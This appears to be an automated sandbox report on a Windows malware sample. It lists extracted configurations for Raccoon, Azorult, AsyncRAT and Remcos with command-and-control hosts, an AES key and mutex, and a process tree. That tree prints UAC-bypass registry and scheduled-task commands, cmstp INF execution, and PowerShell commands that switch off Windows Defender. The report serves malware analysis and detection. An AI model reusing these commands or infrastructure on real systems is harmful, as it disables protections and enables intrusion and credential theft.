Resubmissions

12-11-2021 18:04

211112-wnzb8aahhm 10

19-11-2020 10:08

201119-rhwlt38jrx 10

18-11-2020 17:26

201118-htd4fq29va 10

Analysis

  • max time kernel
    1801s
  • max time network
    1811s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    19-11-2020 10:08

General

Malware Config

Extracted

Family

raccoon

Botnet

5e4db353b88c002ba6466c06437973619aad03b3

Attributes
  • url4cnc

    https://telete.in/brikitiki

rc4.plain
rc4.plain

Extracted

Family

azorult

C2

http://195.245.112.115/index.php

Extracted

Family

asyncrat

Version

0.5.7B

C2

agentttt.ac.ug:6970

agentpurple.ac.ug:6970

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • aes_key

    16dw6EDbQkYZp5BTs7cmLUicVtOA4UQr

  • anti_detection

    false

  • autorun

    false

  • bdos

    false

  • delay

    Default

  • host

    agentttt.ac.ug,agentpurple.ac.ug

  • hwid

    3

  • install_file

  • install_folder

    %AppData%

  • mutex

    AsyncMutex_6SI8OkPnk

  • pastebin_config

    null

  • port

    6970

  • version

    0.5.7B

aes.plain

Extracted

Family

remcos

C2

taenaia.ac.ug:6969

agentpapple.ac.ug:6969

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • BetaBot

    Beta Bot is a Trojan that infects computers and disables Antivirus.

  • Contains code to disable Windows Defender 10 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies firewall policy service 2 TTPs 8 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • UAC bypass 3 TTPs
  • Async RAT payload 3 IoCs
  • ModiLoader First Stage 2 IoCs
  • Disables taskbar notifications via registry modification
  • Disables use of System Restore points 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 31 IoCs
  • Sets file execution options in registry 2 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 13 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 13 IoCs
  • Checks for any installed AV software in registry 1 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 4 IoCs
  • Drops desktop.ini file(s) 3 IoCs
  • Maps connected drives based on registry 3 TTPs 4 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 27 IoCs
  • Suspicious use of SetThreadContext 15 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies Internet Explorer Protected Mode 1 TTPs 4 IoCs
  • Modifies Internet Explorer Protected Mode Banner 1 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 5 IoCs
  • Modifies registry key 1 TTPs 3 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • NTFS ADS 2 IoCs
  • Runs regedit.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 9 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ou55sg33s_1.exe
    "C:\Users\Admin\AppData\Local\Temp\ou55sg33s_1.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1212
    • C:\Users\Admin\AppData\Local\Temp\ou55sg33s_1.exe
      "C:\Users\Admin\AppData\Local\Temp\ou55sg33s_1.exe"
      2⤵
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Checks processor information in registry
      • Suspicious behavior: MapViewOfSection
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4004
      • C:\Windows\SysWOW64\explorer.exe
        C:\Windows\SysWOW64\explorer.exe
        3⤵
        • Modifies firewall policy service
        • Checks BIOS information in registry
        • Adds Run key to start application
        • Drops desktop.ini file(s)
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Checks processor information in registry
        • Enumerates system info in registry
        • Modifies Internet Explorer Protected Mode
        • Modifies Internet Explorer Protected Mode Banner
        • Modifies Internet Explorer settings
        • NTFS ADS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4084
        • C:\Users\Admin\AppData\Local\Temp\a599quq1595ek_1.exe
          /suac
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3636
          • C:\Users\Admin\AppData\Local\Temp\a599quq1595ek_1.exe
            "C:\Users\Admin\AppData\Local\Temp\a599quq1595ek_1.exe"
            5⤵
            • Modifies firewall policy service
            • Executes dropped EXE
            • Checks for any installed AV software in registry
            • Checks whether UAC is enabled
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Checks processor information in registry
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2604
            • C:\Windows\SysWOW64\regedit.exe
              "C:\Windows\SysWOW64\regedit.exe"
              6⤵
              • Modifies security service
              • Adds Run key to start application
              • Modifies Internet Explorer settings
              • Runs regedit.exe
              • Suspicious use of AdjustPrivilegeToken
              PID:1224
        • C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe
          "C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe"
          4⤵
          • Executes dropped EXE
          • Checks whether UAC is enabled
          • Maps connected drives based on registry
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1256
          • C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
            "C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:3784
            • C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
              "C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:1892
          • C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
            "C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:2192
            • C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
              "C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Checks processor information in registry
              • Suspicious use of WriteProcessMemory
              PID:188
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c taskkill /pid 188 & erase C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe & RD /S /Q C:\\ProgramData\\628675879158083\\* & exit
                7⤵
                • Suspicious use of WriteProcessMemory
                PID:936
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /pid 188
                  8⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1676
          • C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe
            "C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops desktop.ini file(s)
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of WriteProcessMemory
            PID:3940
            • C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe
              "C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of AdjustPrivilegeToken
              PID:3192
              • C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe
                "C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe"
                7⤵
                • Executes dropped EXE
                PID:512
            • C:\Users\Admin\AppData\Local\Temp\cLK6vDADey.exe
              "C:\Users\Admin\AppData\Local\Temp\cLK6vDADey.exe"
              6⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious use of SetThreadContext
              • Modifies system certificate store
              PID:3900
              • C:\Windows\SysWOW64\svchost.exe
                "C:\Windows\System32\svchost.exe"
                7⤵
                  PID:4960
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\Users\Public\ZvOXjtso.bat" "
                    8⤵
                      PID:420
                      • C:\Windows\SysWOW64\reg.exe
                        reg delete hkcu\Environment /v windir /f
                        9⤵
                        • Modifies registry key
                        PID:4520
                      • C:\Windows\SysWOW64\reg.exe
                        reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "
                        9⤵
                        • Modifies registry key
                        PID:1940
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
                        9⤵
                          PID:4620
                        • C:\Windows\SysWOW64\reg.exe
                          reg delete hkcu\Environment /v windir /f
                          9⤵
                          • Modifies registry key
                          PID:5000
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\Users\Public\ZvOXjtso.bat" "
                        8⤵
                          PID:4132
                      • C:\Program Files (x86)\internet explorer\ieinstal.exe
                        "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                        7⤵
                          PID:1888
                      • C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe
                        "C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe"
                        6⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Suspicious use of AdjustPrivilegeToken
                        PID:992
                        • C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe
                          "C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe"
                          7⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of SetWindowsHookEx
                          PID:1548
                          • \??\c:\windows\SysWOW64\cmstp.exe
                            "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\ia3j3zrx.inf
                            8⤵
                              PID:3444
                        • C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe
                          "C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe"
                          6⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          PID:644
                          • C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe
                            "C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe"
                            7⤵
                            • Executes dropped EXE
                            • Windows security modification
                            PID:2520
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "powershell" Get-MpPreference -verbose
                              8⤵
                                PID:1464
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe"
                            6⤵
                              PID:3880
                              • C:\Windows\SysWOW64\timeout.exe
                                timeout /T 10 /NOBREAK
                                7⤵
                                • Delays execution with timeout.exe
                                PID:2324
                        • C:\Users\Admin\AppData\Local\Temp\mc1wc5757.exe
                          "C:\Users\Admin\AppData\Local\Temp\mc1wc5757.exe"
                          4⤵
                          • Executes dropped EXE
                          • Adds Run key to start application
                          • Checks whether UAC is enabled
                          • Maps connected drives based on registry
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Suspicious use of SetThreadContext
                          PID:2936
                          • C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
                            "C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe"
                            5⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            PID:1012
                            • C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
                              "C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe"
                              6⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              PID:4956
                              • C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
                                "{path}"
                                7⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Checks processor information in registry
                                PID:4528
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c taskkill /pid 4528 & erase C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe & RD /S /Q C:\\ProgramData\\090407618315232\\* & exit
                                  8⤵
                                    PID:4500
                                    • C:\Windows\SysWOW64\taskkill.exe
                                      taskkill /pid 4528
                                      9⤵
                                      • Kills process with taskkill
                                      PID:3108
                              • C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
                                "{path}"
                                6⤵
                                • Executes dropped EXE
                                PID:4208
                            • C:\Users\Admin\AppData\Local\Temp\mc1wc5757.exe
                              "{path}"
                              5⤵
                              • Executes dropped EXE
                              PID:2764
                            • C:\Users\Admin\AppData\Local\Temp\mc1wc5757.exe
                              "{path}"
                              5⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Drops desktop.ini file(s)
                              PID:360
                              • C:\Users\Admin\AppData\Local\Temp\bEAuR4J6Mp.exe
                                "C:\Users\Admin\AppData\Local\Temp\bEAuR4J6Mp.exe"
                                6⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                PID:4876
                                • C:\Users\Admin\AppData\Local\Temp\bEAuR4J6Mp.exe
                                  "C:\Users\Admin\AppData\Local\Temp\bEAuR4J6Mp.exe"
                                  7⤵
                                  • Executes dropped EXE
                                  PID:4972
                              • C:\Users\Admin\AppData\Local\Temp\oGMCJJj985.exe
                                "C:\Users\Admin\AppData\Local\Temp\oGMCJJj985.exe"
                                6⤵
                                • Executes dropped EXE
                                PID:4476
                                • C:\Program Files (x86)\internet explorer\ieinstal.exe
                                  "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                                  7⤵
                                    PID:4184
                                • C:\Users\Admin\AppData\Local\Temp\lbZoNDahtD.exe
                                  "C:\Users\Admin\AppData\Local\Temp\lbZoNDahtD.exe"
                                  6⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetThreadContext
                                  PID:4532
                                  • C:\Users\Admin\AppData\Local\Temp\lbZoNDahtD.exe
                                    "C:\Users\Admin\AppData\Local\Temp\lbZoNDahtD.exe"
                                    7⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetWindowsHookEx
                                    PID:3700
                                    • \??\c:\windows\SysWOW64\cmstp.exe
                                      "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\gqmczy35.inf
                                      8⤵
                                        PID:4656
                                  • C:\Users\Admin\AppData\Local\Temp\r4smJnFUj3.exe
                                    "C:\Users\Admin\AppData\Local\Temp\r4smJnFUj3.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    PID:5084
                                    • C:\Users\Admin\AppData\Local\Temp\r4smJnFUj3.exe
                                      "C:\Users\Admin\AppData\Local\Temp\r4smJnFUj3.exe"
                                      7⤵
                                      • Executes dropped EXE
                                      • Windows security modification
                                      PID:4176
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        "powershell" Get-MpPreference -verbose
                                        8⤵
                                          PID:4964
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\mc1wc5757.exe"
                                      6⤵
                                        PID:4436
                                        • C:\Windows\SysWOW64\timeout.exe
                                          timeout /T 10 /NOBREAK
                                          7⤵
                                          • Delays execution with timeout.exe
                                          PID:4856
                            • C:\Windows\SysWOW64\DllHost.exe
                              C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                              1⤵
                                PID:3888
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c start C:\Windows\temp\mpmheacv.exe
                                  2⤵
                                    PID:2316
                                    • C:\Windows\temp\mpmheacv.exe
                                      C:\Windows\temp\mpmheacv.exe
                                      3⤵
                                      • Executes dropped EXE
                                      PID:1236
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "powershell" Get-MpPreference -verbose
                                        4⤵
                                          PID:3876
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
                                          4⤵
                                            PID:400
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
                                            4⤵
                                              PID:3400
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
                                              4⤵
                                                PID:1340
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
                                                4⤵
                                                  PID:3660
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
                                                  4⤵
                                                    PID:3236
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
                                                    4⤵
                                                      PID:4148
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
                                                      4⤵
                                                        PID:4240
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
                                                        4⤵
                                                          PID:4348
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
                                                          4⤵
                                                            PID:4472
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
                                                            4⤵
                                                              PID:4548
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
                                                              4⤵
                                                                PID:4688
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
                                                                4⤵
                                                                  PID:4784
                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                              taskkill /IM cmstp.exe /F
                                                              2⤵
                                                              • Kills process with taskkill
                                                              PID:2244
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              cmd /c start C:\Windows\temp\ynxywetm.exe
                                                              2⤵
                                                                PID:4364
                                                                • C:\Windows\temp\ynxywetm.exe
                                                                  C:\Windows\temp\ynxywetm.exe
                                                                  3⤵
                                                                  • Executes dropped EXE
                                                                  PID:2132
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    "powershell" Get-MpPreference -verbose
                                                                    4⤵
                                                                      PID:4316
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
                                                                      4⤵
                                                                        PID:4916
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
                                                                        4⤵
                                                                          PID:4808
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
                                                                          4⤵
                                                                            PID:3128
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
                                                                            4⤵
                                                                              PID:500
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
                                                                              4⤵
                                                                                PID:1144
                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
                                                                                4⤵
                                                                                  PID:4268
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
                                                                                  4⤵
                                                                                    PID:3428
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
                                                                                    4⤵
                                                                                      PID:5028
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
                                                                                      4⤵
                                                                                        PID:4608
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
                                                                                        4⤵
                                                                                          PID:4992
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
                                                                                          4⤵
                                                                                            PID:5224
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
                                                                                            4⤵
                                                                                              PID:5344
                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                          taskkill /IM cmstp.exe /F
                                                                                          2⤵
                                                                                          • Kills process with taskkill
                                                                                          PID:5012

                                                                                      Network

                                                                                      MITRE ATT&CK Matrix ATT&CK v6

                                                                                      Persistence

                                                                                      Modify Existing Service

                                                                                      3
                                                                                      T1031

                                                                                      Registry Run Keys / Startup Folder

                                                                                      3
                                                                                      T1060

                                                                                      Privilege Escalation

                                                                                      Bypass User Account Control

                                                                                      1
                                                                                      T1088

                                                                                      Defense Evasion

                                                                                      Modify Registry

                                                                                      13
                                                                                      T1112

                                                                                      Disabling Security Tools

                                                                                      3
                                                                                      T1089

                                                                                      Bypass User Account Control

                                                                                      1
                                                                                      T1088

                                                                                      Install Root Certificate

                                                                                      1
                                                                                      T1130

                                                                                      Credential Access

                                                                                      Credentials in Files

                                                                                      3
                                                                                      T1081

                                                                                      Discovery

                                                                                      Query Registry

                                                                                      5
                                                                                      T1012

                                                                                      System Information Discovery

                                                                                      6
                                                                                      T1082

                                                                                      Security Software Discovery

                                                                                      1
                                                                                      T1063

                                                                                      Peripheral Device Discovery

                                                                                      1
                                                                                      T1120

                                                                                      Collection

                                                                                      Data from Local System

                                                                                      3
                                                                                      T1005

                                                                                      Impact

                                                                                      Inhibit System Recovery

                                                                                      1
                                                                                      T1490

                                                                                      Replay Monitor

                                                                                      Loading Replay Monitor...

                                                                                      Downloads

                                                                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\64DCC9872C5635B1B7891B30665E0558_5552C20A2631357820903FD38A8C0F9F
                                                                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6AF4EE75E3A4ABA658C0087EB9A0BB5B_569A6A04C8591541F7E990B56F9661DA
                                                                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_979AB563CEB98F2581C14ED89B8957D4
                                                                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\64DCC9872C5635B1B7891B30665E0558_5552C20A2631357820903FD38A8C0F9F
                                                                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6AF4EE75E3A4ABA658C0087EB9A0BB5B_569A6A04C8591541F7E990B56F9661DA
                                                                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_979AB563CEB98F2581C14ED89B8957D4
                                                                                      • C:\Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\mozglue.dll
                                                                                      • C:\Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\nss3.dll
                                                                                      • C:\Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\softokn3.dll
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\UrXJ4xouC3.exe.log
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\WxzzZNQHI3.exe.log
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ZSZAUJV5RA.exe.log
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\bEAuR4J6Mp.exe.log
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\lbZoNDahtD.exe.log
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\r4smJnFUj3.exe.log
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\A3FBG8XH.cookie
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
